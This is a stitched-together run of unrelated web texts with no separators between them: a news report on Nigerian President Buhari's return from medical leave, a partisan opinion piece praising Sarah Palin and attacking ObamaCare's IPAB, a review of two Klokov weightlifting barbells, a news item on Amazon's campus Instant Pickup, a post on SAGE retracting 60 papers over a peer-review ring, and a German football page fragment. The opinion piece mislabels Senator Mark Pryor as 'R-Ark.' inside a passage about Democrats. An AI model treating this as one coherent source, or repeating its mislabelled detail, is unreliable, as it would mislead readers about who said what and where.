FILE PHOTO - Nigerian President Muhammadu Buhari speaks during German President Joachim Gauck's visit to the State House in Abuja, Nigeria February 11, 2016. REUTERS/Afolabi Sotunde/File Photo
Buhari’s leave, which began on May 7 and was his second this year, left many in Nigeria questioning whether he was well enough to run the country. The refusal of officials to disclose the nature of the ailment has led to speculation about the illness.
Dressed in a dark kaftan and Muslim prayer hat, the 74-year-old Buhari walked unaided from his plane - holding rails on either side of him - after it landed at the international airport in the capital, Abuja.
He was greeted by Vice President Yemi Osinbajo, who has acted as interim leader, and was accorded a military salute. He made no statement and immediately traveled to the presidential villa.
Buhari, who took office in May 2015, handed over power to Osinbajo in his absence to allay concerns of a void at the helm of Africa’s biggest economy.
“President Buhari is expected to speak to Nigerians in a broadcast by 7 a.m (0600 GMT) on Monday, Aug. 21,” his spokesman, Femi Adesina, said in a statement on Saturday.
Buhari’s absence sparked numerous protests, including demands that Buhari should resign, as well as calls for more transparency about the president’s condition.
The All Progressives Congress (APC), the party of president and his deputy, praised the vice president’s contribution.
In a statement, it said Osinbajo had delivered “competent leadership in the absence of President Buhari and especially commends him for his effort to unite the country and drive the recovery of the national economy”.
Osinbajo’s actions included overseeing the creation of a market-determined foreign exchange window that helped push share prices to near three-year highs.
He also announced the legalizing of illicit refineries in the Niger Delta, the OPEC member’s restive southern oil hub.
The move calmed tensions and prompted regional leaders to abandon a threat to pull out of talks with the government aimed at maintaining the peace that has this year halted attacks on energy facilities which in 2016 cut oil production by more than a third.
The medical leave was Buhari’s second break for treatment in Britain this year after a spell of two months from January.
Buhari reduced his working day to a few hours after returning on March 10 to Nigeria from his first stint of medical leave, diplomats and government sources said.
Little was seen of Buhari during his second stint in London. The first photograph of him was released on July 23, nearly 80 days after he left.
Palin was mocked by liberals when at a Tea Party rally in Reno, Nev., in late 2010, shortly before the GOP retook the House of Representatives, she told attendees: "Don't be thinking that we've got victory for America in the bag yet. ... We can't party like it's 1773."
Leftist know-it-alls insisted that 1776 was the correct year, when in fact Palin was right: The Boston Tea Party she referred to — a protest of British oppressive taxation — happened on Dec. 16, 1773.
Palin was right as well, and also took a lot of heat, when she referred to ObamaCare's Independent Payment Advisory Board (IPAB) as a death panel whose decisions would result in health care rationing.
(Under ObamaCare, IPAB's board of 15 presidentially appointed "experts" will be empowered to make arbitrary Medicare spending-cut decisions with virtually no congressional oversight or control.)
Dr. Donald Berwick, who headed the Centers for Medicaid and Medicare Services, admitted as much when he opined: "The decision is not whether or not we will ration care — the decision is whether we will ration with our eyes open."
Berwick also said: "We can make a sensible social decision and say, 'Well, at this point, to have access to a particular additional benefit (new drug or medical intervention) is so expensive that our taxpayers have better use for those funds.'"
In an op-ed last month in the Wall Street Journal that Palin could have written, Howard Dean, former head of the Democratic National Committee, called IPAB "essentially a health care rationing body" and said he believes it will fail.
"The IPAB will be able to stop certain treatments its members do not favor by simply setting rates to levels where no doctor or hospital will perform them," wrote Dean, who is also a physician. "Getting rid of the IPAB is something Democrats and Republicans ought to agree on."
Indeed, a growing number of Democrats — many of whom face tough re-election bids next year — agree.
Over the past three months, 22 have signed on to the House IPAB repeal bill. They include lawmakers such as Rep. John Barrow, D-Ga., a longtime GOP target.
Arkansas Sen. Mark Pryor, R-Ark., is co-sponsoring the Senate repeal bill this year after spending the previous three defending IPAB. The Senate and House measures now have 32 and 192 co-sponsors, respectively.
Sarah Palin, for her part, is feeling vindicated once again. "Though I was called a liar for calling it like it is, many of these accusers finally saw that ObamaCare did in fact create a panel of faceless bureaucrats who have the power to make life-and-death decisions about health care funding," she writes on Facebook.
Many vulnerable Democrats have come to realize, if not that IPAB is a grotesquely bad idea, that supporting it may mean political death. They lost the House in 2010 because of widespread opposition to ObamaCare that spawned the Tea Party movement.
We suspect that as November 2014 approaches, more Democrats in the House and Senate will join in supporting the next attempts at IPAB repeal.
We have documented for years how socialized medicine around the world makes centralized decisions based on cost-effectiveness rather than medical need, and how this has led to rationing and even denial of service, with people literally dying while on waiting lists. ObamaCare tries to apply that same approach to Medicare through IPAB.
Of course, the best thing would be to repeal ObamaCare itself, or at least gut it through defunding. Most people don't want a government bureaucrat sitting in the examining room with them and their doctors.
Olympic Weightlifting Barbell Sports Barbell Ultimate Tensile Strength: 235,000 PSI
Center Knurling: Yes
IWF specified knurl spacing: Yes
Knurling: Passive diamond pattern in the center, slightly aggressive towards the collars
Shaft Diameter: 28mm
Total Length: 2200mm
Static Load Limit: 680 kg
Maximum Bumper Capacity: 5x30kg + 1x10kg per side
Finish: Hard Bright Chrome
Collar Band: Blue
Endcap Badge: Blue Ultimate Tensile Strength: Minimum of 215,000 PSI
Center Knurling: No
IWF specified knurl spacing: Yes
IPF specified knurl spacing: Yes
Knurling: Mildly aggressive diamond pattern
Shaft Diameter: 28mm
Total Length: 2200mm
Static Load Limit: 650kg
Maximum Bumper Capacity: 5x30kg + 1x10kg per side
Finish: Hard Bright Chrome
Collar Band: Black
Endcap Badge: Black
As you can see there are a few differences between the two barbells: the passive center knurl on the Olympic Weightlifting bar, the IPF knurl spacing on the sports barbell, and the tensile strength of the steel. Some more differences listed on the website (but not directly on the specifications list from each barbell's page) are that both barbells' collars contain 10 needle bearings inside a custom bushing.
Design:
The barbells have a classic chrome plated design, like you would find on most high end barbells. It is not as sheen as an Eleiko barbell, but it is beautiful nonetheless.
The endcaps of the collars are what you would find on a premium barbell. They are smooth and cannot be removed with pliers, unlike a snapring endcap barbell. It is very similar to the last generation Eleiko barbells (the generation before the new NXG barbells)
The most unique design feature on the barbell are the large, prominent rubber collars on the barbell collars. They provide immediate identification that this barbell is indeed a Klokov Equipment barbell, with the colors identifying the type of the bar. The rubber collars provide protection when the barbell is dropped without any plates on it, thus they provide a function while improving the barbell's aesthetic.
I find this feature very welcome. As any weightlifter on a maxout day will tell you, dropping an unloaded barbell is part of the routine in order to conserve energy for the heavy attempts. While a lot of purists may frown upon this practice, these rubber collars are sure to put those concerns at ease. I personally find this adds a very unique appearance to the barbell, reminiscent of the Uesaka competition bars.
The shaft of the barbells have their serial number engraved using a dotted font, reminiscent of the Eleiko barbells. In the interest of protecting my serial number, I have not included a photo of it. You may refer to Garage Gym Reviews' review of the Olympic Weightlifting barbell to see an example of the serial number:
Finally, on the other side of the shaft, you will find Dmitry Klokov's signature engraved into the steel. It is a beautiful enhancement to the empty space on the shaft, and it will remind you that Klokov himself has put his name behind this product.
Spin:
The spin of both barbells is excellent. You will not have problems pulling under the bar with any of the two barbells. The ten needle bearings provide smooth and effortless spin. The bearings are also relatively quiet when dropped. Compared to my Lynx Hybrid Bearing Bar and my Vaughn Weightlifting Bar, the bar is much quieter when dropped (with and without weights).
I cannot tell any differences between the two barbells in terms of spin. The videos shown here show that the Sport Barbell has a slightly different sound, which reminds me of my Hybrid Bearing Bar which also has bearings and bushings.
Here is another video where I perform the shaft spin test with loaded barbells, a far more accurate indication of spin performance compared to the collar spin test. From right to left, the barbells I test are the Lynx Hybrid Bearing Barbell, the Klokov Olympic Barbell, and the Klokov Sports Barbell.
As you can see, no noticeable difference. In real world testing, I have had no problems with getting under the bar and racking it quickly during heavy snatches and cleans. In this respect, it is nice to see that the Sports barbell delivers the same spin performance as the Olympic barbell.
Here are some videos of me snatching using both barbells, in different environments. I had moved my garage gym to my backyard between these videos.
Note that in these videos, it is quite easy to tell which barbell is being used to the rubber collar.
Whip:
The two Klokov barbells both have very good whip. I have done kick tests for each barbell and found their response to be very elastic.
I cannot tell the difference between the two barbells in the kick test and during my lifts. They are definitely not stiff bars and feel as good as my whippiest barbell (my Vaughn Weightlifting bar), so I'd say they are pretty good.
To be very honest, I do not rely or even feel the presence of whip when I lift. My worst lift is the jerk and it is because my timing in the dip is not there. I also use a slow dip (too slow, in fact) instead of a short dip that tends to generate more whip. I would love to have a stronger jerker try the bar to see how it feels to them. I apologize that in this regard I cannot give a good analysis of the two barbells.
Knurl:
Compared to whip, when it comes to knurl I can give a much better analysis. And it is also here where the two barbells differ tremendously. Knurl is always said to be subjective, and while that is true, one cannot deny that a soft knurl is not favorable for a full-time Olympic weightlifter. That's why the Eleiko Training bar's knurling is so aggressive, because it is meant to be similar to the Competition bar so that you are not surprised when you compete on the platform.
The truly subjective part (arguably) is the preference for the presence of center knurling. I prefer a bar without center knurling but that is only because I have mostly trained on bars without center knurling. The nice thing about the Olympic barbell's center knurling is that it is a passive knurl, meaning it does not protrude from the shaft like the main knurling. This is very similar to the Rogue Olympic Barbell's design, which I have also used before. While passive, the center knurl has reddened my neck a few times due to my poor rack anatomy and my habit of choking myself when racking the bar (also due to poor rack anatomy). This is no fault of the bar, as the worst time this happened to me was when I first used an Eleiko Training bar and it completely shredded my neck. When I rack the Klokov Olympic bar properly, the bar sticks nicely to my shirt and doesn't dig into my clavicles. Also, center knurl is probably most useful when using the bar to back squat but I never plan to squat with this bar.
Now, for the main knurling of the barbells.
The Sports barbell knurling is light and a little smooth. If you chalk up enough, you'll get a good grip on the bar. I would liken it to the first/second generation Pendlay barbells. It's very similar to my Lynx Hybrid Bearing Bar, but a tad tackier and the diamond pattern is larger.
The Olympic barbell is medium aggressive. More aggressive than medium. It is not as aggressive as an Eleiko Training bar. It is more aggressive than a Rogue Weightlifting bar. It is not a sharp knurl though, like a Werksan barbell. It is comfortable to hold for multiple reps and you will not lose your grip.
I find the Sports barbell's knurling to be too light for my taste. In a multiple rep set, the bar starts slipping out of my hand and I have to reset my hook grip. The Olympic bar, however, has a fantastic knurl. It is grippy but not sharp. It won't tear up your hands like an Eleiko Training bar (although as I write this, I wonder if maybe my hands are just too soft). I feel confident going for a heavy single using the Olympic bar and trusting that the bar won't slip out of my hands. Another reason I prefer the Olympic bar's knurling is because my hands are relatively small and my hook grip would normally require some shoving into the bar in order to be set properly.
Conclusion and personal experience
So there you have it. From my analysis, the two bars share the same spin and whip performance. It is in the knurling that the two bars truly differ and your taste / style of training will dictate which bar you choose. Since I am an Olympic weightlifter, I prefer the knurl of the Olympic bar and thus it has become my everyday training bar. After several weeks, my hands are not torn up and I use straps less and less. I used the Sports bar for a few weeks and it was fine for my training, I just needed longer to set my hookgrip.
If you have any questions or would like more information about the barbells, please leave a comment and I will respond.
The free service is being offered to Prime and Prime Student members and includes daily essentials like snacks and electronics.
According to Amazon, items would be available in less than two minutes at five pickup locations, including one in Westwood Village, just south of UCLA’s campus, and at UC Berkeley. The other Instant Pickup locations are in Atlanta, Columbus, Ohio, and College Park, Md.
The online retailer operates 22 pickup locations centered around college campuses and could use them for the Instant Pickup service, Reuters reported.
“Instant Pickup is another way Amazon is making life more convenient for Prime members,” Ripley MacDonald, director of student programs at Amazon, said in a statement. “As shopping behaviors continue to evolve, customers consistently tell us that they want items even faster. Whether it’s a snack on-the-go, replacing a lost phone charger in the middle of a hectic day or adding Alexa to your life with an Echo, Instant Pickup saves Prime members time.”
College students get a 50-percent discount on the $99 annual Prime membership. Tip alert: College students who use Sprint can get a free, six-month Prime trial.
Amazon has a same-day pickup location at California State University Long Beach, but it was unclear if the campus would include an Instant Pickup.
The Instant program isn’t Amazon’s first attempt to infiltrate college campuses.
Many universities are adding Amazon Lockers, including the commuter campus of Cal State Fullerton. The university has had a set of Amazon Lockers outside the college’s student union since 2013. The self-serve lockers allow students to pick up or return parcels.
With the volume of Internet-driven deliveries increasing dramatically over the years, CSUF said it is considering adding a second set of Amazon Lockers to one of its dorm facilities.
Larry Martin, CSUF’s director of housing, said students buy an overwhelming amount of merchandise online — from books to clothes to linens from Bed, Bath and Beyond.
“At Valentine’s Day, the mailroom smells like a florist,” Martin said.
To help manage the influx, Martin said the school is “pursuing” adding another set of Amazon Lockers at the dorms to ease the gridlock in the mailroom. Roughly 2,000 students live on campus while another 38,000 live off-campus.
Internet sales are not slowing down. In 2015, e-commerce sales reached $294.45 billion and are projected to surpass $485 billion in 2021, according to statistical research firm Statista.
FedEx is also taking advantage of the surge in Internet-driven mail delivery on college campuses.
The company opened a “Fed Ex Office” at USC this month and one at Stanford University last year.
FedEx said working with universities make sense as more students make purchases online. In a student survey conducted last year by the company, FedEx found that 58 percent of college students make the majority of their purchases online. Roughly 65 percent of students buy most of their textbooks online, the FedEx survey said.
The “influx of packages” has put a “strain” on campus resources on the back end, a FedEx representative told the Register.
SAGE Publishers is retracting 60 articles from the Journal of Vibration and Control after an investigation revealed a “peer review and citation ring” involving a professor in Taiwan.
[Please see an update on this post.]
Here’s the beginning of a statement from SAGE:
London, UK (08 July 2014) – SAGE announces the retraction of 60 articles implicated in a peer review and citation ring at the Journal of Vibration and Control (JVC). The full extent of the peer review ring has been uncovered following a 14 month SAGE-led investigation, and centres on the strongly suspected misconduct of Peter Chen, formerly of National Pingtung University of Education, Taiwan (NPUE) and possibly other authors at this institution. In 2013 the then Editor-in-Chief of JVC, Professor Ali H. Nayfeh,and SAGE became aware of a potential peer review ring involving assumed and fabricated identities used to manipulate the online submission system SAGE Track powered by ScholarOne Manuscripts™. Immediate action was taken to prevent JVC from being exploited further, and a complex investigation throughout 2013 and 2014 was undertaken with the full cooperation of Professor Nayfeh and subsequently NPUE. In total 60 articles have been retracted from JVC after evidence led to at least one author or reviewer being implicated in the peer review ring. Now that the investigation is complete, and the authors have been notified of the findings, we are in a position to make this statement. While investigating the JVC papers submitted and reviewed by Peter Chen, it was discovered that the author had created various aliases on SAGE Track, providing different email addresses to set up more than one account. Consequently, SAGE scrutinised further the co-authors of and reviewers selected for Peter Chen’s papers, these names appeared to form part of a peer review ring. The investigation also revealed that on at least one occasion, the author Peter Chen reviewed his own paper under one of the aliases he had created.
SAGE and Nayfeh then confronted Chen with the allegations, and weren’t satisfied with the responses, so in September 2013 they alerted NPUE to the case. Chen resigned from NPUE on February 2, 2014, according to the release, and in May Nayfeh retired and resigned as editor in chief of the JVC.
Here’s the notice:
In 2013 the Editor of Journal of Vibration and Control and SAGE became aware of a peer review ring involving assumed and fabricated identities that appeared to centre around Peter Chen at National Pingtung University of Education, Taiwan (NPUE). SAGE and the Editor then began a complex investigation into the case during the rest of 2013 and 2014. Following an unsatisfactory response from Peter Chen, NPUE was notified. NPUE were serious in addressing the Journal and SAGE’s concerns. NPUE confirmed that the institution was investigating Peter Chen. SAGE subsequently uncovered a citation ring involving the above mentioned author and others. We regret that individual authors have compromised the academic record by perverting the peer review process and apologise to readers. On uncovering problems with peer review and citation SAGE immediately put steps in place to avoid similar vulnerability of the Journal to exploitation in the future. More information may be found at www.sagepub.co.uk/JVC_Statement_2014. The Journal and SAGE understand from NPUE that Peter Chen has resigned his post at NPUE. The following articles are retracted because after thorough investigation evidence points towards them having at least one author or being reviewed by at least one reviewer who has been implicated in the peer review ring and/or citation ring. All authors have had an opportunity to respond to the allegations and proposed actions. OnlineFirst articles (these articles will not be published in an issue) Chen CY, Chen T-H, Chen Y-H, Yu S-E and Chung P-Y (2013) Information technology system modeling an integrated C-TAM-TPB model to the validation of ocean tidal analyses Journal of Vibration and Control Epub ahead of print 7 May 2013. doi: 10.1177/1077546312472924 Chang R-F, Chen CY, Su F-P and Lin H-C (2013) A two-step approach for broadband digital signal processing technique Journal of Vibration and Control Epub ahead of print 26 April 2013. doi: 10.1177/1077546312472925 Chen TH, Chang CJ, Yu SE, Chung PY and Liu C-K (2013) Nonlinear information analysis and system management technique: the influence of design experience and control complexity Journal of Vibration and Control Epub ahead of print 12 April 2013. doi: 10.1177/1077546312473321 Chen CY, Shih BY, Chen YH, Yu SE and Liu YC (2013) The exploration of a 3T flow model using vibrating NXT: II. Model validation Journal of Vibration and Control Epub ahead of print 10 April 2013. doi: 10.1177/1077546312470481 Chen CY, Shih BY, Chen YH, Yu SE and Liu YC (2013) The exploration of 3T flow model using vibrating NXT: I. model formulation Journal of Vibration and Control Epub ahead of print 6 February 2013. doi: 10.1177/1077546312467360 Lin M-L and Chen C-W (2013) Stability analysis of fuzzy-based NN modeling for ecosystems using fuzzy Lyapunov methods Journal of Vibration and Control Epub ahead of print 6 February 2013. doi: 10.1177/1077546312466687 Chen CY, Chen TH, Chen YH and Chiu J (2012) A multi-stage method for deterministic-statistical analysis: a mathematical case and measurement studies Journal of Vibration and Control Epub ahead of print 20 December 2012. doi: 10.1177/1077546312466579 Shih BY, Lin MC and Chen CY (2012) Autonomous navigation system for radiofrequency identification mobile robot e-book reader Journal of Vibration and Control Epub ahead of print 13 December 2012. doi: 10.1177/1077546312466578 Chang RF, Chen CY, Su FP, Lin HC and Lu C-K (2012) Multiphase SUMO robot based on an agile modeling-driven process for a small mobile robot Journal of Vibration and Control Epub ahead of print 13 December 2012. doi: 10.1177/1077546312464993 Shih B-Y, Lin Y-K, Cheng M-H, Chen C-Y and Chiu C-P (2012) The development of an application program interactive game-based information system Journal of Vibration and Control Epub ahead of print 12 December 2012. doi: 10.1177/1077546312464682 Chen C-Y, Chang C-J and Lin C-H (2012) On dynamic access control in web 2.0 and cloud interactive information hub: technologies Journal of Vibration and Control Epub ahead of print 12 December 2012. doi: 10.1177/1077546312464992 Shin BY, Chen CY and Hsu KH (2012) Robot cross platform system using innovative interactive theory and selection algorithms for Android application Journal of Vibration and Control Epub ahead of print 13 November 2012. doi: 10.1177/1077546312463757 Articles published in an issue Chen C-W (2014) Applications of neural-network-based fuzzy logic control to a nonlinear time-delay chaotic system Journal of Vibration and Control 20 (4): 589-605. Epub ahead of print 5 November 2012. doi: 10.1177/1077546312461370 Chen C-W (2014) A review of intelligent algorithm approaches and neural-fuzzy stability criteria for time-delay tension leg platform systems Journal of Vibration and Control 20 (4): 561-575. Epub ahead of print 5 November 2012. doi: 10.1177/1077546312463759 Chen C-Y, Chang C-J and Lin C-H (2014) On dynamic access control in web 2.0 and cloud interactive information hub: trends and theories Journal of Vibration and Control 20 (4): 548-560. Epub ahead of print 5 November 2012. doi: 10.1177/1077546312463762 Lin M-L and Chen C-W (2014) Stability conditions for ecosystem modeling using the fuzzy Lyapunov method Journal of Vibration and Control 20 (2): 290-302. Epub ahead of print 23 October 2012. doi: 10.1177/1077546312451301 Chen C-H, Kuo C-M, Hsieh S-H and Chen C-Y (2014) Highly efficient very-large-scale integration (VLSI) implementation of probabilistic neural network image interpolator Journal of Vibration and Control 20 (2): 218-224. Epub ahead of print 22 October 2012. doi: 10.1177/1077546312458822 Chen C-Y (2014) Wave vibration and simulation in dissipative media described by irregular boundary surfaces: a mathematical formulation Journal of Vibration and Control 20 (2): 191-203. Epub ahead of print 22 October 2012. doi: 10.1177/1077546312464258 Chen C-H, Yao T-K, Dai J-H and Chen C-Y (2014) A pipelined multiprocessor system- on-a-chip (SoC) design methodology for streaming signal processing Journal of Vibration and Control 20 (2): 163-178. Epub ahead of print 16 October 2012. doi: 10.1177/1077546312458821 Lin M-L and Chen C-W (2014) Fuzzy neural modeling for n-degree ecosystems using the linear matrix inequality approach Journal of Vibration and Control 20 (1): 82-93. Epub ahead of print 8 October 2012. doi: 10.1177/1077546312458533 Chen C-H, Wu W-X and Chen C-Y (2013) Ant-inspired collective problem-solving systems Journal of Vibration and Control 19 (16): 2481-2490. Epub ahead of print 18 September 2012. doi: 10.1177/1077546312456231 Chen C-H, Yao T-K, Kuo C-M and Chen C-Y (2013) Evolutionary design of constructive multilayer feedforward neural network Journal of Vibration and Control 19 (16): 2413-2420. Epub ahead of print 12 September 2012. doi: 10.1177/1077546312456726 Chen C-W (2013) Applications of the fuzzy-neural Lyapunov criterion to multiple time-delay systems Journal of Vibration and Control 19 (13): 2054-2067. Epub ahead of print 16 August 2012. doi: 10.1177/1077546312451034 Chung P-Y, Chen Y-H, Walter L and Chen C-Y (2013) Influence and dynamics of a mobile robot control on mechanical components Journal of Vibration and Control 19 (13): 1923-1935. Epub ahead of print 20 July 2012. doi: 10.1177/1077546312452184 Chen C-W (2013) Neural network-based fuzzy logic parallel distributed compensation controller for structural system Journal of Vibration and Control 19 (11): 1709-1727. Epub ahead of print 22 June 2012. doi: 10.1177/1077546312442233 Chen C-W, Yeh K, Yang H-C, Liu KFR and Liu C-C (2013) A critical review of structural system control by the large-scaled neural network linear-deferential-inclusion-based criterion Journal of Vibration and Control 19 (11): 1658-1673. Epub ahead of print 18 June 2012. doi: 10.1177/1077546312443377 Chen C-H, Kuo C-M, Chen C-Y and Dai J-H (2013) The design and synthesis using hierarchical robotic discrete-event modeling Journal of Vibration and Control 19 (11): 1603-1613. Epub ahead of print 27 June 2012. doi: 10.1177/1077546312449645 Chang CJ, Chen CY and Chou I-T (2013) The design of information and communication technologies: telecom MOD strength machines Journal of Vibration and Control 19 (10): 1499-1513. Epub ahead of print 27 June 2012. doi: 10.1177/1077546312449644 Shih B-Y, Chen C-Y, Li K-H, Wu T-Y, Chen G-Y (2013) A novel NXT control method for implementing force sensing and recycling in a training robot Journal of Vibration and Control 19 (10): 1443-1459. Epub ahead of print 1 June 2012. doi: 10.1177/1077546312446361 Chen C-W, Chen P-C and Chiang W-L (2013) Modified intelligent genetic algorithm-based adaptive neural network control for uncertain structural systems Journal of Vibration and Control 19 (9): 1333-1347. Epub ahead of print 31 May 2012. doi: 10.1177/1077546312442232 Chen C-Y, Shih B-Y, Shih C-H and Wang L-H (2013) Enhancing robust and stability control of a humanoid biped robot: system identification approach. Journal of Vibration and Control 19 (8): 1199-1207. Epub ahead of print 26 April 2012. doi: 10.1177/1077546312442947 Chang C-J, Chen C-Y and Huang C-W (2013) Applications for medical recovery using wireless control of a bluetooth ball with a hybrid G-sensor and human-computer interface technology Journal of Vibration and Control 19 (8): 1139-1151. Epub ahead of print 24 April 2012. doi: 10.1177/1077546312442948 Hsu W-K, Chiou D-J, Chen C-W, Liu M-Y, Chiang W-L and Huang P-C (2013) Sensitivity of initial damage detection for steel structures using the Hilbert-Huang transform method Journal of Vibration and Control 19 (6): 857-878. Epub ahead of print 29 February 2012. doi: 10.1177/1077546311434794 Chen C-Y, Shih B-Y, Shih C-H and Wang L-H (2013) Human–machine interface for the motion control of humanoid biped robots using a graphical user interface Motion Editor Journal of Vibration and Control 19 (6): 814-820. Epub ahead of print 23 February 2012. doi: 10.1177/1077546312437804 Chen C-Y (2013) Internal wave transport, nonlinear manifestation, and mixing in a stratified shear layer - technical briefs Journal of Vibration and Control 19 (3): 429-438. Epub ahead of print 18 January 2012. doi: 10.1177/1077546311429337 Chen C-W (2013) Delay independent criterion for multiple time-delay systems and its application in building structure control systems Journal of Vibration and Control 19 (3): 395-414. Epub ahead of print 17 January 2012. doi: 10.1177/1077546311429341 Chen C-Y, Shih B-Y, Shih C-H and Wang L-H (2013) Design, modeling and stability control for an actuated dynamic walking planar bipedal robot Journal of Vibration and Control 19 (3): 376-384. Epub ahead of print 17 January 2012. doi: 10.1177/1077546311429476 Liu K-C, Liu Y-W, Chen C-Y and Huang W-C (2013) Nonlinear vibration of structural deterioration in reinforced concrete columns: experimental and theoretical investigation Journal of Vibration and Control 19 (3): 323-335. Epub ahead of print 17 January 2012. doi: 10.1177/1077546311429477 Chen C-Y, Shih B-Y and Ma J-m (2013) Development for low-cost and cross-platform robot control environment Journal of Vibration and Control 19 (2): 228-233. Epub ahead of print 11 January 2012. doi: 10.1177/1077546311430107 Shih B-Y, Chang H and Chen C-Y (2013) Path planning for autonomous robots – a comprehensive analysis by a greedy algorithm Journal of Vibration and Control 19 (1): 130-142. Epub ahead of print 17 January 2012. doi: 10.1177/1077546311429841 Liu T-Y, Chiang W-L, Chen C-W, Hsu W-K, Lin C-W, Chiou D-J and Huang P-C (2012) Structural system identification for vibration bridges using the Hilbert–Huang transform Journal of Vibration and Control 18 (13): 1939-1956. Epub ahead of print 14 December 2011. doi: 10.1177/1077546311428347 Chen C-W (2012) Applications of the fuzzy Lyapunov linear matrix inequality criterion to a chaotic structural system Journal of Vibration and Control 18 (13): 1925-1938. Epub ahead of print 14 December 2011. doi: 10.1177/1077546311428346 Chen C-W (2012) Applications of linear differential inclusion-based criterion to a nonlinear chaotic system: a critical review Journal of Vibration and Control 18 (12): 1886-1899. Epub ahead of print 14 December 2011. doi: 10.1177/1077546311428345 Shih B-Y, Chen C-Y and Chou W (2012) An enhanced obstacle avoidance and path correction mechanism for an autonomous intelligent robot with multiple sensors Journal of Vibration and Control 18 (12): 1855-1864. Epub ahead of print 14 December 2011. doi: 10.1177/1077546311426734 Chen C-W, Yeh K, Liu KFR and Lin M-L (2012) Applications of fuzzy control to nonlinear time-delay systems using the linear matrix inequality fuzzy Lyapunov method Journal of Vibration and Control 18 (10): 1561-1574. Epub ahead of print 18 October 2011. doi: 10.1177/1077546311410765 Chen C-Y (2012) A critical review of internal wave dynamics. Part 2 – Laboratory experiments and theoretical physics Journal of Vibration and Control 18 (7): 983-1008. Epub ahead of print 21 September 2011. doi: 10.1177/1077546310397561 Chen C-Y and Huang P-H (2012) Review of an autonomous humanoid robot and its mechanical control Journal of Vibration and Control 18 (7): 973-982. Epub ahead of print 21 September 2011. doi: 10.1177/1077546310395974 Shih B-Y, Chen C-Y, Chang H and Ma J-m (2012) Dynamics and control for robotic manipulators using a greedy algorithm approach Journal of Vibration and Control 18 (6): 859-866. Epub ahead of print 25 August 2011. doi: 10.1177/1077546311407649 Yeh K, Chen C-W, Lo DC and Liu KFR (2012) Neural-network fuzzy control for chaotic tuned mass damper systems with time delays Journal of Vibration and Control 18 (6): 785-795. Epub ahead of print 15 August 2011. doi: 10.1177/1077546311407538 Chen C-Y, Shih B-Y, Shih C-H and Chou W-C (2012) The development of autonomous low-cost biped mobile surveillance robot by intelligent bricks Journal of Vibration and Control 18 (5): 577-586. Epub ahead of print 21 April 2011. doi: 10.1177/1077546310371349 Chen C-Y (2012) A critical review of internal wave dynamics. Part 1 – Remote sensing and in-situ observations Journal of Vibration and Control 18 (3): 417-436. Epub ahead of print 13 July 2011. doi: 10.1177/1077546310395971 Tseng C-P, Chen C-W and Liu KFR (2012) Risk control allocation model for pressure vessels and piping project Journal of Vibration and Control 18 (3): 385-394. Epub ahead of print 13 July 2011. doi: 10.1177/1077546311403182 Lin M-L and Chen C-W (2011) Stability analysis of community and ecosystem hierarchies using the Lyapunov method Journal of Vibration and Control 17 (13): 1930-1937. Epub ahead of print 9 December 2010. doi: 10.1177/1077546310385737 Chen C-Y, Shih B-Y, Chou W-C, Li Y-J and Chen Y-H (2011) Obstacle avoidance design for a humanoid intelligent robot with ultrasonic sensors Journal of Vibration and Control 17 (12): 1798-1804. Epub ahead of print 26 November 2010. doi: 10.1177/1077546310381101 Chen C-W (2011) Fuzzy control of interconnected structural systems using the fuzzy Lyapunov method Journal of Vibration and Control 17 (11): 1693-1702. Epub ahead of print 23 November 2010. doi: 10.1177/1077546310379625 Shih B-Y, Chen C-Y and Chou W-C (2011) Obstacle avoidance using a path correction method for autonomous control of a biped intelligent robot Journal of Vibration and Control 17 (10): 1567-1573. Epub ahead of print 22 November 2010. doi: 10.1177/1077546310372004 Tang J-P, Chiou D-J, Chen C-W, Chiang W-L, Hsu W-K, Chen C-Y and Liu T-Y (2011) A case study of damage detection in benchmark buildings using a Hilbert-Huang Transform-based method Journal of Vibration and Control 17 (4): 623-636. Epub ahead of print 8 November 2010. doi: 10.1177/1077546309360053 Liu TY, Chiang WL, Chen CW, Hsu WK, Lu LC and Chu TJ (2011) Identification and monitoring of bridge health from ambient vibration data Journal of Vibration and Control 17 (4): 589-603. Epub ahead of print 12 November 2010. doi: 10.1177/1077546309360049 Lin JW, Huang CW, Shih CH and Chen CY (2011) Fuzzy Lyapunov Stability Analysis and NN Modeling for Tension Leg Platform Systems Journal of Vibration and Control 17 (1): 151-158. Epub ahead of print 25 August 2010. doi: 10.1177/1077546309350477 Lee WI, Chen CY, Kuo HM and Sui YC (2010) The Development of Half-circle Fuzzy Numbers and Application in Fuzzy Control Journal of Vibration and Control 16 (13): 1977-1987. Epub ahead of print 22 April 2010. doi: 10.1177/1077546309349849
This is not the first time we have seen retractions because a researcher managed to do his own peer review.
We’ll update this case as we learn more.
Update, 2:50 Eastern, 7/8/14: SAGE tells us that there may have been 130 fake email accounts involved. Here’s an email Q&A Cat Ferguson did with a SAGE spokesperson:
Aside from Peter Chen, how many other scientists were involved in the ring? We do not know the definitive number of individual scientists involved in this ring and cannot verify their identities due to the nature of the accounts registered with ScholarOne. However, we contacted 130 email accounts, a large number of which we believe to be either aliases or fabricated accounts. Many of the named individuals had more than one email address registered on our system. Throughout the course of the investigation, the authors, co-authors and reviewers were asked to verify their accounts and email addresses provided on ScholarOne. SAGE made a note of suspicious or unresponsive email addresses and accounts. The authors were contacted once again in May 2014 to inform them that their paper/s would be retracted in the July 2014 issue. All authors and reviewers were given time to respond and we did not receive ORCID verification from any of the 130 email addresses contacted. Were any papers retracted that were not authored by Chen? Yes, and the full list of retracted articles can be found in the retraction notice: http://jvc.sagepub.com/content/20/10/1601.abstract Is there any concern this problem might be more widespread? We have undertaken a thorough investigation into this peer review ring and are confident that we have uncovered the full extent of the problem. Although attempts to mislead the academic community are extremely rare, there will occasionally be fraudulent and unethical individuals seeking to abuse the system. Both SAGE and Journal of Vibration and Control are committed to upholding the true spirit of peer review while continuing to introduce new measures to reinforce the review process.
Please see an update on this post.
Hat tip: JATdS
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DSC Arminia Bielefeld 7 (2)
GegnerinfosPK-BerichtBerichterstattungSpielberichtStimmen
